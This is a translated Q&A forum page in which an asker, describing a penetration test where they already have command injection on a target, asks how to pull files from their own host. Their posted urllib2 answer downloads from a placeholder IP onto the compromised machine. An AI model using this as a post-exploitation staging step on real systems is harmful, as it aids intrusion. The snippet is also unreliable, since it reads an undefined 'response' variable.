【问题标题】:Python26 script to grab a file from remote host用于从远程主机获取文件的 Python26 脚本
【发布时间】:2016-12-30 04:03:51
【问题描述】:

我正在寻求有关 Python 脚本的帮助。

我正在做一个渗透测试项目,并获得了在权限有限的系统 wwwroot 目录中执行命令注入和写入文件的权限。 ftp 和 telnet 都在系统上,但我没有权限。在这一点上真正有用的一件事是系统上的 Python26,我可以使用它。 不过,我对现实生活中的 Python 知识知之甚少。

我的想法是……有没有办法使用 Python 脚本回调我的主机并从我的主机中获取文件?如果是这样,是否有人对如何为此编写脚本有任何指示?

提前致谢。

【问题讨论】:

  • 如果您的主机上有开放端口(例如安装的 FTP、WWW 等服务器),则外部计算机可以连接到您的主机。但它可能取决于远程主机和您的主机之间的所有路由器的配置。你可以找到很多使用 Python 连接 FTP、WWW 甚至 MAIL 的教程。
  • 谢谢,我以为我的账户没有使用ftp的perm,就不能那样用python了?
  • 不过我会更多地关注 www 方向

标签: python file get transfer


【解决方案1】:
import urllib2
file = "success2.txt"
url = "http://xx.xx.xx.xx/test.txt"
fh = open(file, "w")
fh.write(response.read())
fh.close()

所以这就是我在@furas 的建议之后最终做的事情。

我做了更多的研究,发现: http://www.pythonforbeginners.com/python-on-the-web/how-to-use-urllib2-in-python/

解释得很好。

希望这对将来的某人有所帮助。

据我了解代码。 您首先设置变量“文件”,这是您将写入的内容(绝对路径可能对远程使用很重要) 然后你设置文件所在的url和文件名

要写入的代码然后文件。然后它写入它从 url 打开的文件。

与 ftp 不同,这似乎不会直接“复制”文件。所以你可能需要在 fh = open(file, "w") 中使用 "wb" 来处理二进制文件。我不是 w 和 wb 之间 100% 的区别,但这种方法对我有用。

【讨论】:

    猜你喜欢
    • 2017-08-20
    • 2012-06-23
    • 2010-09-06
    • 1970-01-01
    • 2021-09-20
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多